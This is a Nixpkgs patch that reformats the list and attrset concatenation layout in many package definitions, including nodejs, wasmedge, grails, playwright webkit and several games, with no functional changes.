--- a/pkgs/development/tools/simavr/default.nix
+++ b/pkgs/development/tools/simavr/default.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation rec {
     which
     pkg-config
     avrgcc
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin setupHookDarwin;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin setupHookDarwin;
   buildInputs = [
     libelf
     libglut
diff --git a/pkgs/development/tools/wails/default.nix b/pkgs/development/tools/wails/default.nix
index 946b4f3a1dcb..674281f43885 100644
--- a/pkgs/development/tools/wails/default.nix
+++ b/pkgs/development/tools/wails/default.nix
@@ -44,17 +44,16 @@ buildGoModule rec {
   allowGoReference = true;
 
   # Following packages are required when wails used as a builder.
-  propagatedBuildInputs =
-    [
-      pkg-config
-      go
-      stdenv.cc
-      nodejs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gtk3
-      webkitgtk_4_0
-    ];
+  propagatedBuildInputs = [
+    pkg-config
+    go
+    stdenv.cc
+    nodejs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gtk3
+    webkitgtk_4_0
+  ];
 
   ldflags = [
     "-s"
diff --git a/pkgs/development/tools/wasmedge/default.nix b/pkgs/development/tools/wasmedge/default.nix
index 1d9e47a9ad7d..ce96078ef7a5 100644
--- a/pkgs/development/tools/wasmedge/default.nix
+++ b/pkgs/development/tools/wasmedge/default.nix
@@ -46,13 +46,12 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     libffi
   ];
 
-  cmakeFlags =
-    [
-      "-DWASMEDGE_BUILD_TESTS=OFF" # Tests are downloaded using git
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DWASMEDGE_FORCE_DISABLE_LTO=ON"
-    ];
+  cmakeFlags = [
+    "-DWASMEDGE_BUILD_TESTS=OFF" # Tests are downloaded using git
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DWASMEDGE_FORCE_DISABLE_LTO=ON"
+  ];
 
   postPatch = ''
     echo -n $version > VERSION
diff --git a/pkgs/development/tools/yarn2nix-moretea/default.nix b/pkgs/development/tools/yarn2nix-moretea/default.nix
index 54bcdb8b68a7..dc10d2d51819 100644
--- a/pkgs/development/tools/yarn2nix-moretea/default.nix
+++ b/pkgs/development/tools/yarn2nix-moretea/default.nix
@@ -145,7 +145,8 @@ rec {
         yarn
         nodejs
         git
-      ] ++ extraNativeBuildInputs;
+      ]
+      ++ extraNativeBuildInputs;
       buildInputs = extraBuildInputs;
 
       configurePhase =
@@ -401,7 +402,8 @@ rec {
           yarn
           nodejs
           rsync
-        ] ++ extraBuildInputs;
+        ]
+        ++ extraBuildInputs;
 
         node_modules = deps + "/node_modules";
 
@@ -471,16 +473,16 @@ rec {
         passthru = {
           inherit package packageJSON deps;
           workspaceDependencies = workspaceDependenciesTransitive;
-        } // (attrs.passthru or { });
+        }
+        // (attrs.passthru or { });
 
-        meta =
-          {
-            inherit (nodejs.meta) platforms;
-          }
-          // lib.optionalAttrs (package ? description) { inherit (package) description; }
-          // lib.optionalAttrs (package ? homepage) { inherit (package) homepage; }
-          // lib.optionalAttrs (package ? license) { license = getLicenseFromSpdxId package.license; }
-          // (attrs.meta or { });
+        meta = {
+          inherit (nodejs.meta) platforms;
+        }
+        // lib.optionalAttrs (package ? description) { inherit (package) description; }
+        // lib.optionalAttrs (package ? homepage) { inherit (package) homepage; }
+        // lib.optionalAttrs (package ? license) { license = getLicenseFromSpdxId package.license; }
+        // (attrs.meta or { });
       }
     );
 
diff --git a/pkgs/development/web/grails/default.nix b/pkgs/development/web/grails/default.nix
index d81ad8c03597..3fb7833d3a96 100644
--- a/pkgs/development/web/grails/default.nix
+++ b/pkgs/development/web/grails/default.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
 
   dontBuild = true;
 
-  installPhase =
-    ''
-      mkdir -p "$out"
-      cp -vr . "$out"
-      # Remove (for now) uneeded Windows .bat files
-      rm -f "$out"/bin/*.bat
-      # Improve purity
-      sed -i -e '2iPATH=${binpath}:\$PATH' "$out"/bin/grails
-    ''
-    + lib.optionalString (jdk != null) ''
-      # Inject JDK path into grails
-      sed -i -e '2iJAVA_HOME=${jdk.home}' "$out"/bin/grails
-    '';
+  installPhase = ''
+    mkdir -p "$out"
+    cp -vr . "$out"
+    # Remove (for now) uneeded Windows .bat files
+    rm -f "$out"/bin/*.bat
+    # Improve purity
+    sed -i -e '2iPATH=${binpath}:\$PATH' "$out"/bin/grails
+  ''
+  + lib.optionalString (jdk != null) ''
+    # Inject JDK path into grails
+    sed -i -e '2iJAVA_HOME=${jdk.home}' "$out"/bin/grails
+  '';
 
   preferLocalBuild = true;
 
diff --git a/pkgs/development/web/nodejs/nodejs.nix b/pkgs/development/web/nodejs/nodejs.nix
index 0ec9e4ec9633..fd84c71c0159 100644
--- a/pkgs/development/web/nodejs/nodejs.nix
+++ b/pkgs/development/web/nodejs/nodejs.nix
@@ -126,16 +126,15 @@ let
     !stdenv.hostPlatform.isDarwin && lib.versionOlder "${majorVersion}.${minorVersion}" "11.4";
   useSharedSQLite = lib.versionAtLeast version "22.5";
 
-  sharedLibDeps =
-    {
-      inherit openssl zlib libuv;
-    }
-    // (lib.optionalAttrs useSharedHttpParser {
-      inherit http-parser;
-    })
-    // (lib.optionalAttrs useSharedSQLite {
-      inherit sqlite;
-    });
+  sharedLibDeps = {
+    inherit openssl zlib libuv;
+  }
+  // (lib.optionalAttrs useSharedHttpParser {
+    inherit http-parser;
+  })
+  // (lib.optionalAttrs useSharedSQLite {
+    inherit sqlite;
+  });
 
   copyLibHeaders = map (name: "${lib.getDev sharedLibDeps.${name}}/include/*") (
     builtins.attrNames sharedLibDeps
@@ -193,21 +192,20 @@ let
 
       strictDeps = true;
 
-      env =
-        {
-          # Tell ninja to avoid ANSI sequences, otherwise we don’t see build
-          # progress in Nix logs.
-          #
-          # Note: do not set TERM=dumb environment variable globally, it is used in
-          # test-ci-js test suite to skip tests that otherwise run fine.
-          NINJA = "TERM=dumb ninja";
-        }
-        // lib.optionalAttrs (!canExecute && !canEmulate) {
-          # these are used in the --cross-compiling case. see comment at postConfigure.
-          CC_host = touchScript "${buildPackages.stdenv.cc}/bin/cc";
-          CXX_host = touchScript "${buildPackages.stdenv.cc}/bin/c++";
-          AR_host = touchScript "${buildPackages.stdenv.cc}/bin/ar";
-        };
+      env = {
+        # Tell ninja to avoid ANSI sequences, otherwise we don’t see build
+        # progress in Nix logs.
+        #
+        # Note: do not set TERM=dumb environment variable globally, it is used in
+        # test-ci-js test suite to skip tests that otherwise run fine.
+        NINJA = "TERM=dumb ninja";
+      }
+      // lib.optionalAttrs (!canExecute && !canEmulate) {
+        # these are used in the --cross-compiling case. see comment at postConfigure.
+        CC_host = touchScript "${buildPackages.stdenv.cc}/bin/cc";
+        CXX_host = touchScript "${buildPackages.stdenv.cc}/bin/c++";
+        AR_host = touchScript "${buildPackages.stdenv.cc}/bin/ar";
+      };
 
       # NB: technically, we do not need bash in build inputs since all scripts are
       # wrappers over the corresponding JS scripts. There are some packages though
@@ -219,23 +217,23 @@ let
         http-parser
         icu
         bash
-      ] ++ lib.optionals useSharedSQLite [ sqlite ];
+      ]
+      ++ lib.optionals useSharedSQLite [ sqlite ];
 
-      nativeBuildInputs =
-        [
-          installShellFiles
-          ninja
-          pkgconf
-          python
-        ]
-        ++ lib.optionals stdenv.buildPlatform.isDarwin [
-          # gyp checks `sysctl -n hw.memsize` if `sys.platform == "darwin"`.
-          unixtools.sysctl
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # For gyp-mac-tool if `flavor == "mac"`.
-          darwin-cctools-only-libtool
-        ];
+      nativeBuildInputs = [
+        installShellFiles
+        ninja
+        pkgconf
+        python
+      ]
+      ++ lib.optionals stdenv.buildPlatform.isDarwin [
+        # gyp checks `sysctl -n hw.memsize` if `sys.platform == "darwin"`.
+        unixtools.sysctl
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # For gyp-mac-tool if `flavor == "mac"`.
+        darwin-cctools-only-libtool
+      ];
 
       # We currently rely on Makefile and stdenv for build phases, so do not let
       # ninja’s setup hook to override default stdenv phases.
@@ -246,44 +244,44 @@ let
       outputs = [
         "out"
         "libv8"
-      ] ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "dev" ];
+      ]
+      ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "dev" ];
       setOutputFlags = false;
       moveToDev = false;
 
-      configureFlags =
-        [
-          "--ninja"
-          "--with-intl=system-icu"
-          "--openssl-use-def-ca-store"
-          # --cross-compiling flag enables use of CC_host et. al
-          (if canExecute || canEmulate then "--no-cross-compiling" else "--cross-compiling")
-          "--dest-os=${destOS}"
-          "--dest-cpu=${destCPU}"
-        ]
-        ++ lib.optionals (destARMFPU != null) [ "--with-arm-fpu=${destARMFPU}" ]
-        ++ lib.optionals (destARMFloatABI != null) [ "--with-arm-float-abi=${destARMFloatABI}" ]
-        ++ lib.optionals (!canExecute && canEmulate) [
-          # Node.js requires matching bitness between build and host platforms, e.g.
-          # for V8 startup snapshot builder (see tools/snapshot) and some other
-          # tools. We apply a patch that runs these tools using a host platform
-          # emulator and avoid cross-compiling altogether (from the build system’s
-          # perspective).
-          "--emulator=${emulator}"
-        ]
-        ++ lib.optionals (lib.versionOlder version "19") [ "--without-dtrace" ]
-        ++ lib.optionals (!enableNpm) [ "--without-npm" ]
-        ++ lib.concatMap (name: [
-          "--shared-${name}"
-          "--shared-${name}-libpath=${lib.getLib sharedLibDeps.${name}}/lib"
-          /**
-            Closure notes: we explicitly avoid specifying --shared-*-includes,
-            as that would put the paths into bin/nodejs.
-            Including pkg-config in build inputs would also have the same effect!
+      configureFlags = [
+        "--ninja"
+        "--with-intl=system-icu"
+        "--openssl-use-def-ca-store"
+        # --cross-compiling flag enables use of CC_host et. al
+        (if canExecute || canEmulate then "--no-cross-compiling" else "--cross-compiling")
+        "--dest-os=${destOS}"
+        "--dest-cpu=${destCPU}"
+      ]
+      ++ lib.optionals (destARMFPU != null) [ "--with-arm-fpu=${destARMFPU}" ]
+      ++ lib.optionals (destARMFloatABI != null) [ "--with-arm-float-abi=${destARMFloatABI}" ]
+      ++ lib.optionals (!canExecute && canEmulate) [
+        # Node.js requires matching bitness between build and host platforms, e.g.
+        # for V8 startup snapshot builder (see tools/snapshot) and some other
+        # tools. We apply a patch that runs these tools using a host platform
+        # emulator and avoid cross-compiling altogether (from the build system’s
+        # perspective).
+        "--emulator=${emulator}"
+      ]
+      ++ lib.optionals (lib.versionOlder version "19") [ "--without-dtrace" ]
+      ++ lib.optionals (!enableNpm) [ "--without-npm" ]
+      ++ lib.concatMap (name: [
+        "--shared-${name}"
+        "--shared-${name}-libpath=${lib.getLib sharedLibDeps.${name}}/lib"
+        /**
+          Closure notes: we explicitly avoid specifying --shared-*-includes,
+          as that would put the paths into bin/nodejs.
+          Including pkg-config in build inputs would also have the same effect!
 
-            FIXME: the statement above is outdated, we have to include pkg-config
-            in build inputs for system-icu.
-          */
-        ]) (builtins.attrNames sharedLibDeps);
+          FIXME: the statement above is outdated, we have to include pkg-config
+          in build inputs for system-icu.
+        */
+      ]) (builtins.attrNames sharedLibDeps);
 
       configurePlatforms = [ ];
 
@@ -351,103 +349,102 @@ let
         ]
       );
 
-      checkFlags =
-        [
-          # Do not create __pycache__ when running tests.
-          "PYTHONDONTWRITEBYTECODE=1"
-        ]
-        ++ lib.optionals (stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64) [
-          # Python 3.12 introduced a warning for calling `os.fork()` in a
-          # multi‐threaded program. For some reason, the Node.js
-          # `tools/pseudo-tty.py` program used for PTY‐related tests
-          # triggers this warning on Hydra, on `x86_64-darwin` only,
-          # despite not creating any threads itself. This causes the
-          # Node.js test runner to misinterpret the warnings as part of the
-          # test output and fail. It does not reproduce reliably off Hydra
-          # on Intel Macs, or occur on the `aarch64-darwin` builds.
-          #
-          # This seems likely to be related to Rosetta 2, but it could also
-          # be some strange x86‐64‐only threading behaviour of the Darwin
-          # system libraries, or a bug in CPython, or something else
-          # haunted about the Nixpkgs/Hydra build environment. We silence
-          # the warnings in the hope that closing our eyes will make the
-          # ghosts go away.
-          "PYTHONWARNINGS=ignore::DeprecationWarning"
-        ]
-        ++ lib.optionals (!stdenv.buildPlatform.isDarwin || lib.versionAtLeast version "20") [
-          "FLAKY_TESTS=skip"
-          # Skip some tests that are not passing in this context
-          "CI_SKIP_TESTS=${
-            lib.concatStringsSep "," (
-              [
-                # Tests don't work in sandbox.
-                "test-child-process-exec-env"
-                "test-child-process-uid-gid"
-                "test-fs-write-stream-eagain"
-                "test-process-euid-egid"
-                "test-process-initgroups"
-                "test-process-setgroups"
-                "test-process-uid-gid"
-                "test-setproctitle"
-                # This is a bit weird, but for some reason fs watch tests fail with
-                # sandbox.
-                "test-fs-promises-watch"
-                "test-fs-watch"
-                "test-fs-watch-encoding"
-                "test-fs-watch-non-recursive"
-                "test-fs-watch-recursive-add-file"
-                "test-fs-watch-recursive-add-file-to-existing-subfolder"
-                "test-fs-watch-recursive-add-file-to-new-folder"
-                "test-fs-watch-recursive-add-file-with-url"
-                "test-fs-watch-recursive-add-folder"
-                "test-fs-watch-recursive-assert-leaks"
-                "test-fs-watch-recursive-promise"
-                "test-fs-watch-recursive-symlink"
-                "test-fs-watch-recursive-sync-write"
-                "test-fs-watch-recursive-update-file"
-                "test-fs-watchfile"
-                "test-runner-run"
-                "test-runner-watch-mode"
-                "test-watch-mode-files_watcher"
-              ]
-              ++ lib.optionals (!lib.versionAtLeast version "22") [
-                "test-tls-multi-key"
-              ]
-              ++ lib.optionals stdenv.hostPlatform.is32bit [
-                # utime (actually utimensat) fails with EINVAL on 2038 timestamp
-                "test-fs-utimes-y2K38"
-              ]
-              ++ lib.optionals stdenv.buildPlatform.isDarwin [
-                # Disable tests that don’t work under macOS sandbox.
-                "test-macos-app-sandbox"
-                "test-os"
-                "test-os-process-priority"
+      checkFlags = [
+        # Do not create __pycache__ when running tests.
+        "PYTHONDONTWRITEBYTECODE=1"
+      ]
+      ++ lib.optionals (stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64) [
+        # Python 3.12 introduced a warning for calling `os.fork()` in a
+        # multi‐threaded program. For some reason, the Node.js
+        # `tools/pseudo-tty.py` program used for PTY‐related tests
+        # triggers this warning on Hydra, on `x86_64-darwin` only,
+        # despite not creating any threads itself. This causes the
+        # Node.js test runner to misinterpret the warnings as part of the
+        # test output and fail. It does not reproduce reliably off Hydra
+        # on Intel Macs, or occur on the `aarch64-darwin` builds.
+        #
+        # This seems likely to be related to Rosetta 2, but it could also
+        # be some strange x86‐64‐only threading behaviour of the Darwin
+        # system libraries, or a bug in CPython, or something else
+        # haunted about the Nixpkgs/Hydra build environment. We silence
+        # the warnings in the hope that closing our eyes will make the
+        # ghosts go away.
+        "PYTHONWARNINGS=ignore::DeprecationWarning"
+      ]
+      ++ lib.optionals (!stdenv.buildPlatform.isDarwin || lib.versionAtLeast version "20") [
+        "FLAKY_TESTS=skip"
+        # Skip some tests that are not passing in this context
+        "CI_SKIP_TESTS=${
+          lib.concatStringsSep "," (
+            [
+              # Tests don't work in sandbox.
+              "test-child-process-exec-env"
+              "test-child-process-uid-gid"
+              "test-fs-write-stream-eagain"
+              "test-process-euid-egid"
+              "test-process-initgroups"
+              "test-process-setgroups"
+              "test-process-uid-gid"
+              "test-setproctitle"
+              # This is a bit weird, but for some reason fs watch tests fail with
+              # sandbox.
+              "test-fs-promises-watch"
+              "test-fs-watch"
+              "test-fs-watch-encoding"
+              "test-fs-watch-non-recursive"
+              "test-fs-watch-recursive-add-file"
+              "test-fs-watch-recursive-add-file-to-existing-subfolder"
+              "test-fs-watch-recursive-add-file-to-new-folder"
+              "test-fs-watch-recursive-add-file-with-url"
+              "test-fs-watch-recursive-add-folder"
+              "test-fs-watch-recursive-assert-leaks"
+              "test-fs-watch-recursive-promise"
+              "test-fs-watch-recursive-symlink"
+              "test-fs-watch-recursive-sync-write"
+              "test-fs-watch-recursive-update-file"
+              "test-fs-watchfile"
+              "test-runner-run"
+              "test-runner-watch-mode"
+              "test-watch-mode-files_watcher"
+            ]
+            ++ lib.optionals (!lib.versionAtLeast version "22") [
+              "test-tls-multi-key"
+            ]
+            ++ lib.optionals stdenv.hostPlatform.is32bit [
+              # utime (actually utimensat) fails with EINVAL on 2038 timestamp
+              "test-fs-utimes-y2K38"
+            ]
+            ++ lib.optionals stdenv.buildPlatform.isDarwin [
+              # Disable tests that don’t work under macOS sandbox.
+              "test-macos-app-sandbox"
+              "test-os"
+              "test-os-process-priority"
 
-                # Debugger tests failing on macOS 15.4
-                "test-debugger-extract-function-name"
-                "test-debugger-random-port-with-inspect-port"
-                "test-debugger-launch"
-                "test-debugger-pid"
+              # Debugger tests failing on macOS 15.4
+              "test-debugger-extract-function-name"
+              "test-debugger-random-port-with-inspect-port"
+              "test-debugger-launch"
+              "test-debugger-pid"
 
-                # Those are annoyingly flaky, but not enough to be marked as such upstream.
-                "test-wasi"
-              ]
-              ++ lib.optionals (stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64) [
-                # These tests fail on x86_64-darwin (even without sandbox).
-                # TODO: revisit at a later date.
-                "test-fs-readv"
-                "test-fs-readv-sync"
-                "test-vm-memleak"
-
-                # Those are annoyingly flaky, but not enough to be marked as such upstream.
-                "test-tick-processor-arguments"
-                "test-set-raw-mode-reset-signal"
-              ]
               # Those are annoyingly flaky, but not enough to be marked as such upstream.
-              ++ lib.optional (majorVersion == "22") "test-child-process-stdout-flush-exit"
-            )
-          }"
-        ];
+              "test-wasi"
+            ]
+            ++ lib.optionals (stdenv.buildPlatform.isDarwin && stdenv.buildPlatform.isx86_64) [
+              # These tests fail on x86_64-darwin (even without sandbox).
+              # TODO: revisit at a later date.
+              "test-fs-readv"
+              "test-fs-readv-sync"
+              "test-vm-memleak"
+
+              # Those are annoyingly flaky, but not enough to be marked as such upstream.
+              "test-tick-processor-arguments"
+              "test-set-raw-mode-reset-signal"
+            ]
+            # Those are annoyingly flaky, but not enough to be marked as such upstream.
+            ++ lib.optional (majorVersion == "22") "test-child-process-stdout-flush-exit"
+          )
+        }"
+      ];
 
       postInstall =
         let
diff --git a/pkgs/development/web/nodejs/v20.nix b/pkgs/development/web/nodejs/v20.nix
index 5294b31f31dd..4a78b44276f4 100644
--- a/pkgs/development/web/nodejs/v20.nix
+++ b/pkgs/development/web/nodejs/v20.nix
@@ -27,5 +27,6 @@ buildNodejs {
     ./bypass-darwin-xcrun-node16.patch
     ./node-npm-build-npm-package-logic.patch
     ./use-correct-env-in-tests.patch
-  ] ++ gypPatches;
+  ]
+  ++ gypPatches;
 }
diff --git a/pkgs/development/web/playwright/webkit.nix b/pkgs/development/web/playwright/webkit.nix
index 207b8a082949..f9151625c180 100644
--- a/pkgs/development/web/playwright/webkit.nix
+++ b/pkgs/development/web/playwright/webkit.nix
@@ -105,18 +105,17 @@ let
       postPatch = "";
       postInstall = "";
 
-      cmakeFlags =
-        [
-          "-DJPEGXL_FORCE_SYSTEM_BROTLI=ON"
-          "-DJPEGXL_FORCE_SYSTEM_HWY=ON"
-          "-DJPEGXL_FORCE_SYSTEM_GTEST=ON"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isStatic [
-          "-DJPEGXL_STATIC=ON"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-          "-DJPEGXL_FORCE_NEON=ON"
-        ];
+      cmakeFlags = [
+        "-DJPEGXL_FORCE_SYSTEM_BROTLI=ON"
+        "-DJPEGXL_FORCE_SYSTEM_HWY=ON"
+        "-DJPEGXL_FORCE_SYSTEM_GTEST=ON"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isStatic [
+        "-DJPEGXL_STATIC=ON"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+        "-DJPEGXL_FORCE_NEON=ON"
+      ];
     }
   );
   webkit-linux = stdenv.mkDerivation {
diff --git a/pkgs/games/2048-cli/default.nix b/pkgs/games/2048-cli/default.nix
index 78710ceb53b7..a78a408d4f05 100644
--- a/pkgs/games/2048-cli/default.nix
+++ b/pkgs/games/2048-cli/default.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [
     gettext
-  ] ++ (lib.optional (ui == "curses") ncurses);
+  ]
+  ++ (lib.optional (ui == "curses") ncurses);
 
   dontConfigure = true;
 
diff --git a/pkgs/games/anki/default.nix b/pkgs/games/anki/default.nix
index 8e1d69a26acf..c47c5ad1cb35 100644
--- a/pkgs/games/anki/default.nix
+++ b/pkgs/games/anki/default.nix
@@ -144,12 +144,14 @@ python3.pkgs.buildPythonApplication {
     qt6.wrapQtAppsHook
     rsync
     rustPlatform.cargoSetupHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin swift;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin swift;
 
   buildInputs = [
     qt6.qtbase
     qt6.qtsvg
-  ] ++ lib.optional stdenv.hostPlatform.isLinux qt6.qtwayland;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux qt6.qtwayland;
 
   propagatedBuildInputs = with python3.pkgs; [
     # This rather long list came from running:
diff --git a/pkgs/games/armagetronad/default.nix b/pkgs/games/armagetronad/default.nix
index 316efc0d8bab..cd9dfe4916f0 100644
--- a/pkgs/games/armagetronad/default.nix
+++ b/pkgs/games/armagetronad/default.nix
@@ -76,22 +76,21 @@ let
         dedicatedServer: {
           version = "${unstableVersionMajor}-${builtins.substring 0 8 rev}";
           src = fetchArmagetron rev hash;
-          extraBuildInputs =
-            [
-              protobuf
-              boost
-            ]
-            ++ lib.optionals (!dedicatedServer) [
-              glew
-              ftgl
-              freetype
-              libGL
-              libGLU
-              libX11
-              SDL2
-              SDL2_image
-              SDL2_mixer
-            ];
+          extraBuildInputs = [
+            protobuf
+            boost
+          ]
+          ++ lib.optionals (!dedicatedServer) [
+            glew
+            ftgl
+            freetype
+            libGL
+            libGLU
+            libX11
+            SDL2
+            SDL2_image
+            SDL2_mixer
+          ];
           extraNativeBuildInputs = [ bison ];
         };
 
@@ -160,19 +159,18 @@ let
         ./bootstrap.sh
       '';
 
-      configureFlags =
-        [
-          "--enable-automakedefaults"
-          "--enable-authentication"
-          "--disable-memmanager"
-          "--disable-useradd"
-          "--disable-initscripts"
-          "--disable-etc"
-          "--disable-uninstall"
-          "--disable-sysinstall"
-        ]
-        ++ lib.optional dedicatedServer "--enable-dedicated"
-        ++ lib.optional (!dedicatedServer) "--enable-music";
+      configureFlags = [
+        "--enable-automakedefaults"
+        "--enable-authentication"
+        "--disable-memmanager"
+        "--disable-useradd"
+        "--disable-initscripts"
+        "--disable-etc"
+        "--disable-uninstall"
+        "--disable-sysinstall"
+      ]
+      ++ lib.optional dedicatedServer "--enable-dedicated"
+      ++ lib.optional (!dedicatedServer) "--enable-music";
 
       buildInputs =
         lib.singleton (libxml2.override { enableHttp = true; }) ++ (resolvedParams.extraBuildInputs or [ ]);
@@ -184,12 +182,14 @@ let
         pkg-config
         which
         python3
-      ] ++ (resolvedParams.extraNativeBuildInputs or [ ]);
+      ]
+      ++ (resolvedParams.extraNativeBuildInputs or [ ]);
 
-      nativeInstallCheckInputs =
-        [ gnugrep ]
-        ++ lib.optional (!dedicatedServer) xvfb-run
-        ++ (resolvedParams.extraNativeInstallCheckInputs or [ ]);
+      nativeInstallCheckInputs = [
+        gnugrep
+      ]
+      ++ lib.optional (!dedicatedServer) xvfb-run
+      ++ (resolvedParams.extraNativeInstallCheckInputs or [ ]);
 
       postInstall = lib.optionalString (!dedicatedServer) ''
         mkdir -p $out/share/{applications,icons/hicolor}
diff --git a/pkgs/games/arx-libertatis/default.nix b/pkgs/games/arx-libertatis/default.nix
index a55b58c7e83a..230497a50546 100644
--- a/pkgs/games/arx-libertatis/default.nix
+++ b/pkgs/games/arx-libertatis/default.nix
@@ -48,24 +48,24 @@ stdenv.mkDerivation rec {
     inkscape
     imagemagick
     optipng
-  ] ++ optionals withCrashReporter [ wrapQtAppsHook ];
+  ]
+  ++ optionals withCrashReporter [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      zlib
-      boost
-      openal
-      glm
-      freetype
-      libGLU
-      SDL2
-      libepoxy
-    ]
-    ++ optionals withCrashReporter [
-      qtbase
-      curl
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [ gdb ];
+  buildInputs = [
+    zlib
+    boost
+    openal
+    glm
+    freetype
+    libGLU
+    SDL2
+    libepoxy
+  ]
+  ++ optionals withCrashReporter [
+    qtbase
+    curl
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [ gdb ];
 
   cmakeFlags = [
     "-DDATA_DIR_PREFIXES=$out/share"
@@ -75,15 +75,14 @@ stdenv.mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  postInstall =
-    ''
-      ln -sf \
-        ${dejavu_fonts}/share/fonts/truetype/DejaVuSansMono.ttf \
-        $out/share/games/arx/misc/dejavusansmono.ttf
-    ''
-    + optionalString withCrashReporter ''
-      wrapQtApp "$out/libexec/arxcrashreporter"
-    '';
+  postInstall = ''
+    ln -sf \
+      ${dejavu_fonts}/share/fonts/truetype/DejaVuSansMono.ttf \
+      $out/share/games/arx/misc/dejavusansmono.ttf
+  ''
+  + optionalString withCrashReporter ''
+    wrapQtApp "$out/libexec/arxcrashreporter"
+  '';
 
   meta = {
     description = ''
diff --git a/pkgs/games/blightmud/default.nix b/pkgs/games/blightmud/default.nix
index d12175c67f8a..a1619ffe6563 100644
--- a/pkgs/games/blightmud/default.nix
+++ b/pkgs/games/blightmud/default.nix
@@ -30,10 +30,11 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals (withTTS && stdenv.hostPlatform.isLinux) [ speechd-minimal ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals (withTTS && stdenv.hostPlatform.isLinux) [ speechd-minimal ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   checkFlags =
     let
diff --git a/pkgs/games/cataclysm-dda/common.nix b/pkgs/games/cataclysm-dda/common.nix
index 24c33f9a0664..fa5091758d40 100644
--- a/pkgs/games/cataclysm-dda/common.nix
+++ b/pkgs/games/cataclysm-dda/common.nix
@@ -66,24 +66,23 @@ stdenv.mkDerivation {
     patchShebangs lang/compile_mo.sh
   '';
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "LANGUAGES=all"
-      (if useXdgDir then "USE_XDG_DIR=1" else "USE_HOME_DIR=1")
-    ]
-    ++ optionals (!debug) [
-      "RELEASE=1"
-    ]
-    ++ optionals tiles [
-      "TILES=1"
-      "SOUND=1"
-    ]
-    ++ optionals stdenv.hostPlatform.isDarwin [
-      "NATIVE=osx"
-      "CLANG=1"
-      "OSX_MIN=${stdenv.hostPlatform.darwinMinVersion}"
-    ];
+  makeFlags = [
+    "PREFIX=$(out)"
+    "LANGUAGES=all"
+    (if useXdgDir then "USE_XDG_DIR=1" else "USE_HOME_DIR=1")
+  ]
+  ++ optionals (!debug) [
+    "RELEASE=1"
+  ]
+  ++ optionals tiles [
+    "TILES=1"
+    "SOUND=1"
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [
+    "NATIVE=osx"
+    "CLANG=1"
+    "OSX_MIN=${stdenv.hostPlatform.darwinMinVersion}"
+  ];
 
   postInstall = optionalString tiles (
     if !stdenv.hostPlatform.isDarwin then patchDesktopFile else installMacOSAppLauncher
diff --git a/pkgs/games/chiaki/default.nix b/pkgs/games/chiaki/default.nix
index 260f2f41b071..608664d61ad5 100644
--- a/pkgs/games/chiaki/default.nix
+++ b/pkgs/games/chiaki/default.nix
@@ -33,23 +33,22 @@ mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      ffmpeg
-      libopus
-      qtbase
-      qtmultimedia
-      qtsvg
-      SDL2
-      nanopb
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libevdev
-      udev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      qtmacextras
-    ];
+  buildInputs = [
+    ffmpeg
+    libopus
+    qtbase
+    qtmultimedia
+    qtsvg
+    SDL2
+    nanopb
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libevdev
+    udev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    qtmacextras
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/games/construo/default.nix b/pkgs/games/construo/default.nix
index b4805a029bd5..77c6d9b272f6 100644
--- a/pkgs/games/construo/default.nix
+++ b/pkgs/games/construo/default.nix
@@ -19,15 +19,14 @@ stdenv.mkDerivation rec {
     sha256 = "1wmj527hbj1qv44cdsj6ahfjrnrjwg2dp8gdick8nd07vm062qxa";
   };
 
-  buildInputs =
-    [
-      libX11
-      zlib
-      xorgproto
-    ]
-    ++ lib.optional (libGL != null) libGL
-    ++ lib.optional (libGLU != null) libGLU
-    ++ lib.optional (libglut != null) libglut;
+  buildInputs = [
+    libX11
+    zlib
+    xorgproto
+  ]
+  ++ lib.optional (libGL != null) libGL
+  ++ lib.optional (libGLU != null) libGLU
+  ++ lib.optional (libglut != null) libglut;
 
   preConfigure = ''
     substituteInPlace src/Makefile.in \
diff --git a/pkgs/games/crawl/default.nix b/pkgs/games/crawl/default.nix
index 10c67bb532a5..b5e81315b4ae 100644
